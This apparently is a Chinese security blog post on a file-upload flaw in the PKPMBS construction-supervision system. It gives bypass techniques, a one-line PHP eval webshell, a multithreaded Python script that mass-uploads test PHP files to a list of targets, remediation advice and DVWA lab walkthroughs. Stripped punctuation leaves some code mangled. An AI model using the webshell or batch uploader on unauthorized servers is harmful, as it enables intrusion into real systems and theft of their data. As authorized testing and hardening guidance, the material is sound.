文件上传漏洞实战:从PKPMBS系统漏洞分析到批量POC开发
1. 项目概述一次对工程软件安全边界的实战检验最近在梳理一些行业软件的安全状况时一个名为“PKPMBS工程监督系统”的软件进入了我的视野。作为建筑行业信息化管理的重要工具这类系统往往承载着项目进度、质量、安全等核心数据其安全性不言而喻。然而在一次常规的资产梳理和漏洞挖掘过程中我发现其fileupordown接口存在一个典型的文件上传漏洞。这个漏洞本身并不复杂但其背后反映出的是特定行业软件在快速迭代开发过程中对基础安全防护的忽视。更值得探讨的是如何高效、批量地对这类漏洞进行验证以评估其真实风险范围。因此我不仅分析了漏洞成因还编写了一个批量验证的POC概念验证脚本。今天我就把这个从发现到验证的完整过程拆解开来分享给对Web安全、渗透测试特别是对行业应用安全评估感兴趣的朋友。无论你是安全研究员、甲方安全工程师还是对漏洞挖掘好奇的开发者都能从中获得一些实用的思路和方法。2. 漏洞原理与背景环境深度解析2.1 PKPMBS系统与fileupordown接口定位PKPMBS是中国建筑科学研究院旗下PKPM系列软件中的工程监督业务系统模块。它主要用于建设工程的现场监督、数据采集与上报通常会部署在项目现场或企业内网与监理单位、施工单位进行数据交互。这类B/S架构的系统其文件上传功能是刚需比如上传施工日志、检查照片、整改通知单附件等。fileupordown这个接口名称非常直白很可能是一个统管文件上传upload和下载download的Servlet或Controller。在漏洞挖掘时这类功能点永远是重点检查对象。通过分析网络请求或前端代码我们通常能定位到类似/pkpmbs/fileupordown或/fileupordown.do的请求路径。漏洞的核心往往就隐藏在服务器端对这个接口请求的处理逻辑中。2.2 文件上传漏洞的通用成因与绕过思路文件上传漏洞的本质是应用程序对用户上传的文件缺乏充分有效的校验导致攻击者能够上传恶意文件如Webshell到服务器可执行目录从而获取服务器控制权。一个健壮的上传功能应该包含多层校验前端校验通常在JavaScript中进行检查文件扩展名、MIME类型、文件大小。但这极易被绕过比如直接抓包修改请求或禁用浏览器JS。服务端校验这是真正的防线主要包括扩展名校验检查文件名后缀如.jpg,.php。MIME类型校验检查HTTP请求头中的Content-Type如image/jpeg。文件内容校验检查文件幻数Magic Number如JPEG文件头FF D8 FF E0、进行图像二次渲染等。目录路径校验防止路径穿越如../../../shell.php。常见的绕过方式正是针对这些校验的不足前端绕过直接使用Burp Suite等工具拦截并修改上传请求。黑名单绕过如果服务器仅禁止了.php、.asp等可以尝试.php5、.phtml、.Php大小写、.php.Windows特性、.php%20、.php::DATANTFS流等。MIME类型绕过将文件内容改为Webshell但请求头中的Content-Type改为image/jpeg。文件内容绕过在图片马中嵌入Webshell代码配合文件包含漏洞执行或利用某些图像处理库的漏洞如ImageMagick。解析漏洞利用服务器配置特性如IIS的*.asp;.jpg解析漏洞、Apache的*.php.jpg多后缀解析漏洞取决于AddHandler配置、Nginx的%00截断旧版本等。在PKPMBS这个案例中根据经验问题很可能出在服务端仅做了简单的扩展名黑名单校验甚至可能只在前端做了校验服务端完全信任了前端传入的参数。2.3 漏洞影响范围与风险评级这个漏洞一旦被利用攻击者可以直接上传一个Webshell到服务器。考虑到PKPMBS系统通常部署环境可能位于项目现场内网但有时也会为方便远程访问而映射到公网。数据价值系统中存储着工程图纸、合同、人员信息、施工数据等敏感信息。系统权限Web应用服务器通常以一定权限运行可能直接访问数据库。其风险不容小觑。攻击者可以利用Webshell进行内网横向移动窃取核心工程数据甚至篡改监督报告直接影响工程质量和安全评估。从风险评级上看这属于高危漏洞因为它提供了直接的服务器入侵入口。3. 漏洞复现与手工验证步骤在编写自动化POC之前我们必须先通过手工方式验证漏洞的真实存在性并理解其触发条件。这是安全测试的基本原则。3.1 环境搭建与信息收集首先你需要一个测试目标。请务必在合法授权的前提下进行测试例如在自己的虚拟机中搭建测试环境或使用厂商提供的测试版本。假设我们已获得一个测试地址http://test-target/pkpmbs/。识别上传点使用浏览器访问系统尝试找到任何上传功能如图片上传、附件上传等。利用浏览器开发者工具F12的“网络”选项卡监控上传操作触发的HTTP请求。目标是找到请求URL中包含fileupordown关键词的接口。分析请求格式记录下完整的请求信息。这通常是一个POST请求URL可能像http://test-target/pkpmbs/fileupordown?actionupload。重点观察Content-Type通常是multipart/form-data。请求参数除了文件本身input typefile对应的name如file还有哪些其他参数如fileType,folderId等。Cookie/Session是否需要有效的登录态。3.2 构造恶意请求与绕过测试我们使用Burp Suite作为手动测试工具。正常上传先上传一个正常的图片文件如test.jpg用Burp拦截请求观察正常请求的格式。首次绕过尝试改扩展名在Burp Repeater模块中将拦截到的请求报文里文件名直接改为shell.php文件内容写入一句话Webshell?php eval($_POST[cmd]);?。发送请求观察响应。如果成功响应可能提示上传成功并返回文件路径。尝试访问该路径如http://test-target/pkpmbs/upload/shell.php用蚁剑等工具连接测试。如果失败响应可能提示“文件类型不允许”。二次绕过尝试改MIME与扩展名如果直接改.php失败尝试双管齐下将文件名改为shell.jpg.php或shell.php.jpg测试解析漏洞。将请求头中的Content-Type从application/octet-stream改为image/jpeg。文件内容可以保持不变或者将Webshell代码插入到一张正常图片的末尾制作图片马。利用空字节截断旧环境在某些老旧版本的Java/PHP环境中可以在文件名中使用%00进行截断。例如在Burp中修改文件名参数为shell.jpg%00.php注意%00需要开启Burp的“URL-decode when editing”功能后直接输入空字节。服务器端在解析时可能会在%00处截断最终存储为shell.php。注意%00截断在近年来的主流语言和框架中已基本被修复但在一些遗留系统上仍可能有效。测试时需谨慎并主要作为思路验证。测试路径穿越尝试在文件名中包含目录遍历序列如../../../shell.php看看是否能将文件上传到Web根目录以外的路径甚至覆盖系统文件。实操心得手工测试时保持请求其他部分如Cookie、其他参数与原请求完全一致至关重要。一个参数的错误都可能导致服务器返回“未授权”或“参数错误”干扰你对上传逻辑本身的判断。建议将原始的合法请求在Repeater中保存为一个基准模板每次只修改文件相关部分进行测试。4. 批量验证POC的设计与实现手工验证单个目标后如果需要在内部网络进行资产普查和风险排查就需要一个批量验证工具。这里我设计一个Python POC脚本它需要做到高效、隐蔽避免对目标造成破坏、可记录。4.1 POC脚本核心逻辑设计脚本的核心任务是模拟手工测试中最高效的几种绕过方式并智能判断是否成功。逻辑流程如下输入与初始化读取一个存有目标URL列表的文本文件。每个目标可能需要先进行登录获取会话如果漏洞接口需要认证。这里为了通用性我们假设测试的fileupordown接口不需要认证或者我们已经有了一个有效的Cookie。更复杂的版本可以集成登录模块。Payload生成准备几种常见的绕过Payload文件shell.php直接尝试。shell.jpg.php测试多后缀解析。shell.php.jpg 修改MIME为image/jpeg。一个简单的图片马在真实图片末尾追加Webshell代码。请求构造与发送为每个目标依次使用不同的Payload构造multipart/form-data请求并发送。结果判断这是POC的难点。不能仅凭返回“上传成功”就断定漏洞存在因为服务器可能将文件重命名或存储到了不可访问的路径。更可靠的判断是初级判断检查HTTP响应中是否包含上传后的文件路径或文件名。高级验证如果获取到路径立即发起一个只读的验证请求。例如对于PHP的Webshell可以访问上传路径?cmdecho md5(‘test’);检查响应中是否包含md5(‘test’)的计算结果098f6bcd4621d373cade4e832627b4f6。注意这里执行的是无害的命令echo md5(‘test’)仅用于验证代码执行能力绝不执行system(‘whoami’)等危险命令。结果记录将成功的目标URL、利用的Payload类型、上传的文件路径记录到结果文件中。4.2 Python POC代码实现详解下面是一个简化但功能完整的POC脚本示例它使用了requests库和threading库进行多线程批量检测。import requests import threading import queue import re import time from urllib.parse import urljoin class PKPMBS_Upload_Checker: def __init__(self, target_file, thread_num10): self.targets self.load_targets(target_file) self.queue queue.Queue() self.thread_num thread_num self.results [] self.lock threading.Lock() # 定义要测试的Payload列表 (文件名, 文件内容, MIME类型) self.payloads [ (shell.php, b?php echo md5(test);?, application/x-php), (shell.jpg.php, b?php echo md5(test);?, image/jpeg), # 尝试MIME欺骗 (shell.php.jpg, b?php echo md5(test);?, image/jpeg), ] # 可以添加一个真实的图片马payload # with open(real_image.jpg, rb) as f: # img_data f.read() # self.payloads.append((test.jpg, img_data b\n?php echo md5(test);?, image/jpeg)) def load_targets(self, file_path): 从文件加载目标URL列表 with open(file_path, r) as f: return [line.strip() for line in f if line.strip()] def build_upload_url(self, base_url): 构造上传接口URL这里根据常见路径进行猜测 possible_paths [/pkpmbs/fileupordown, /fileupordown.do, /fileupordown] for path in possible_paths: test_url urljoin(base_url, path) # 可以添加一个简单的HEAD请求来探测路径是否存在这里为了简化直接尝试 return test_url ?actionupload # 常见参数 return urljoin(base_url, /fileupordown?actionupload) def test_single_target(self, target_url): 测试单个目标 upload_url self.build_upload_url(target_url) headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 } # 如果有通用Cookie可以在这里添加 # headers[Cookie] sessionxxx for filename, file_content, mime_type in self.payloads: try: # 构造multipart/form-data数据 files {file: (filename, file_content, mime_type)} # 参数名‘file’需根据实际情况调整 # 可能需要的其他表单数据 data {} # 例如: {fileType: image, folderId: 1} resp requests.post(upload_url, filesfiles, datadata, headersheaders, timeout15, verifyFalse) # 判断1: 响应中是否包含成功信息或文件路径 success_patterns [r上传成功, rfilepath.*?.*?[\](.*?)[\], rfilename.*?.*?[\](.*?)[\]] file_path None for pattern in success_patterns: match re.search(pattern, resp.text, re.IGNORECASE) if match: if filepath in pattern or filename in pattern: file_path match.group(1) # 处理相对路径 if not file_path.startswith(http): file_path urljoin(target_url, file_path) print(f[] 疑似成功: {target_url} - Payload: {filename}) # 判断2: 访问验证 if file_path: # 执行无害的验证代码 verify_url file_path if ? in file_path else file_path ? # 对于PHP我们传递一个参数执行echo md5 # 注意这里需要根据实际Webshell的接收参数调整假设我们的代码是 ?php echo md5(test);?直接访问即可 # 但更常见的webshell是接收参数的这里我们假设上传的就是简单的验证脚本直接访问 try: verify_resp requests.get(file_path, timeout10, verifyFalse) if 098f6bcd4621d373cade4e832627b4f6 in verify_resp.text: with self.lock: self.results.append((target_url, filename, file_path)) print(f[!!!] 确认漏洞存在: {target_url}) print(f Webshell路径: {file_path}) # 找到一处后跳出该目标的后续payload测试 return except: pass break except requests.exceptions.RequestException as e: print(f[-] 请求失败: {target_url} - {e}) break # 当前目标网络不通跳过 def worker(self): 工作线程函数 while True: try: target self.queue.get(timeout2) except queue.Empty: break self.test_single_target(target) self.queue.task_done() def run(self): 启动批量检测 for target in self.targets: self.queue.put(target) threads [] for i in range(self.thread_num): t threading.Thread(targetself.worker) t.daemon True t.start() threads.append(t) self.queue.join() print(f\n[] 扫描完成。共发现 {len(self.results)} 个存在漏洞的目标。) if self.results: with open(vulnerable_targets.txt, w) as f: for url, payload, path in self.results: f.write(f{url} | Payload: {payload} | Path: {path}\n) print([] 结果已保存至 vulnerable_targets.txt) if __name__ __main__: # 使用说明将目标URL列表每行一个保存到 targets.txt checker PKPMBS_Upload_Checker(targets.txt, thread_num5) checker.run()4.3 POC使用注意事项与优化建议注意事项合法授权再次强调仅用于授权测试。未经授权使用此脚本可能构成违法行为。谨慎验证脚本中的验证步骤使用的是完全无害的echo md5(‘test’)。严禁将其改为任何可能读取文件、执行命令的代码。参数调整脚本中的files {‘file’: …}和data {}需要根据实际目标的上传接口参数进行调整。这需要通过手动抓包分析确定。错误处理脚本包含了基本的超时和异常处理但在复杂网络环境下可能需要更细致的重试机制。线程控制thread_num不宜设置过高避免对目标服务器造成拒绝服务攻击DoS的嫌疑。建议设置在5-10之间。优化建议智能路径探测可以增加一个前置步骤用HEAD或GET方法探测常见的fileupordown路径是否存在提高准确性。集成登录模块如果目标系统需要登录可以编写一个单独的登录函数为每个目标获取有效的Cookie或Session后再进行上传测试。更丰富的Payload库根据手动测试结果将有效的Payload加入列表。例如如果发现系统对.php5不拦截就添加shell.php5。报告生成将结果输出为更规范的HTML或PDF报告包含风险描述、漏洞URL、修复建议等。5. 漏洞修复建议与安全开发规范发现漏洞不是终点推动修复才是安全工作的价值所在。针对此类文件上传漏洞我通常会向开发团队提供如下修复建议5.1 立即缓解措施临时禁用或加固如果暂时无法修复代码可以在Web服务器如Nginx、Apache层面或应用防火墙WAF上对fileupordown接口的请求进行严格的过滤拦截包含可疑扩展名或特殊字符如..,%00的请求。文件存储隔离确保上传的文件存储在Web根目录之外。通过应用程序的读取功能如一个单独的filedownload接口来提供文件访问而不是直接通过HTTP访问静态文件。这样即使上传了Webshell攻击者也无法直接通过URL访问执行。重命名文件上传后使用随机字符串如UUID重命名文件并丢弃原始文件名。这样能有效防止路径穿越和解析漏洞利用。5.2 根本性修复方案白名单校验这是最有效的方法。只允许上传业务必需的文件类型如只允许.jpg,.jpeg,.png,.pdf,.docx。在校验时结合扩展名和MIME类型进行双重检查且MIME类型应从文件内容头部读取使用python-magic等库而不是信任客户端传来的Content-Type。文件内容校验对于图片使用安全的图像处理库如PIL进行二次渲染或缩放保存新生成的图片。这可以彻底破坏嵌入在图片中的恶意代码。检查文件幻数确保文件头符合其扩展名。限制文件大小在服务端设置合理的文件大小上限防止通过上传超大文件进行DoS攻击。设置文件权限上传目录应设置为不可执行脚本。在Linux下目录权限可设为755文件权限设为644并确保运行Web服务的用户如www-data没有该目录的执行权限。日志与监控记录所有文件上传操作包括时间、IP、用户名、原始文件名、保存路径。对异常上传行为如频繁上传、尝试非常规扩展名进行告警。5.3 安全开发流程嵌入长远来看需要在开发流程中建立安全屏障安全培训让开发者了解OWASP Top 10特别是“失效的访问控制”和“注入”类漏洞。代码审计将安全代码审计纳入上线前流程重点关注文件操作、数据库查询、命令执行等高风险函数。使用安全组件采用经过安全审计的文件上传处理库或中间件而不是自己从头实现复杂的校验逻辑。定期渗透测试对线上系统特别是新上线的功能模块定期进行专业的安全测试。6. 从DVWA靶场看文件上传漏洞的攻防演练虽然PKPMBS是特定软件但文件上传漏洞的攻防原理是通用的。DVWADamn Vulnerable Web Application靶场的文件上传模块就是一个极好的练习场。它设置了从低到高不同的安全等级完美展示了漏洞的演变和防护的加强。DVWA文件上传漏洞的三种绕过方法针对Medium级别DVWA的Medium级别对上传做了简单防护服务端检查了MIME类型必须是image/jpeg或image/png和文件扩展名黑名单禁用了.php,.php5,.phtml等。方法一双写扩展名与MIME欺骗原理前端JS被禁用或绕过后服务端检查$_FILES[‘uploaded’][‘type’]客户端可控的MIME和扩展名黑名单。操作使用Burp拦截上传请求。将文件名改为shell.jpg.php。黑名单可能只检查最后一个扩展名.php不DVWA的检查是遍历黑名单数组只要文件名中包含黑名单项即拒绝。所以shell.jpg.php不行。正确操作将文件名改为shell.php.jpg同时将Content-Type改为image/jpeg。这样通过了MIME检查而扩展名.jpg不在黑名单中。能否成功取决于服务器解析顺序。如果Apache配置了AddType application/x-httpd-php .php那么.php.jpg不会被解析为PHP。但在某些配置或IIS环境下可能会按最后一个可执行扩展名解析。在标准DVWA环境中此法可能失败。DVWA Medium的实际有效方法使用.php的变体如.php3,.php4,.php5,.phtml。因为DVWA Medium的黑名单是[‘.php’, ‘.php5’, ‘.php4’, ‘.php3’, ‘.phtml’, ‘.pht’]。所以直接上传一个名为shell.php7的文件如果服务器安装了PHP7并配置了解析同时将Content-Type改为image/jpeg即可绕过。或者如果服务器还解析.phps等也可以尝试。方法二制作图片马并利用文件包含漏洞原理这是更高级的组合利用。DVWA的文件上传模块本身可能无法直接执行.php但DVWA另一个模块“File Inclusion”存在本地文件包含漏洞。操作准备一张图片用文本编辑器在文件末尾添加一行PHP代码?php phpinfo(); ?保存为shell.jpg。在文件上传模块上传shell.jpg成功。记下上传路径如../../hackable/uploads/shell.jpg。转到“File Inclusion”模块利用其漏洞包含这个图片马?pagefile:///var/www/dvwa/hackable/uploads/shell.jpg。如果PHP的allow_url_include开启图片中的PHP代码将被执行。要点这种方法不直接绕过上传校验而是利用了其他漏洞形成攻击链。方法三利用%00截断仅适用于特定环境原理在旧版本PHP5.3.4且magic_quotes_gpcoff时可以在文件名中使用空字节%00来截断后续的字符串。操作在Burp中上传文件名设置为shell.php%00.jpg。当服务器端代码使用类似$name $_FILES[‘uploaded’][‘name’];获取文件名并在后续拼接路径时如$target_path $upload_path . $name某些旧的校验逻辑可能在遇到%00时提前结束认为文件是.jpg而存储时%00被解释为空字符最终保存为shell.php。现状在现代PHP版本中%00在HTTP输入中会被自动过滤此方法基本失效。但在测试一些非常陈旧的系统时仍可作为测试点。从DVWA练习中获得的经验安全防护需要多层次、多维度单一校验很容易被绕过。黑名单永远会遗漏白名单才是王道。漏洞往往不是孤立存在的文件上传文件包含、文件上传解析漏洞的组合拳威力巨大。测试时要充分了解目标环境中间件版本、解析规则才能选择最合适的绕过方式。通过这次对PKPMBS系统文件上传漏洞的深度剖析和POC实现我们不仅掌握了一个具体漏洞的利用方法更重要的是建立起一套针对此类漏洞的发现、验证、分析和修复的完整方法论。在实战中保持好奇心、严谨的测试流程和对底层原理的深入理解是不断发现和解决问题的关键。工具和脚本可以提升效率但最终依赖的是使用工具的人的思路和判断。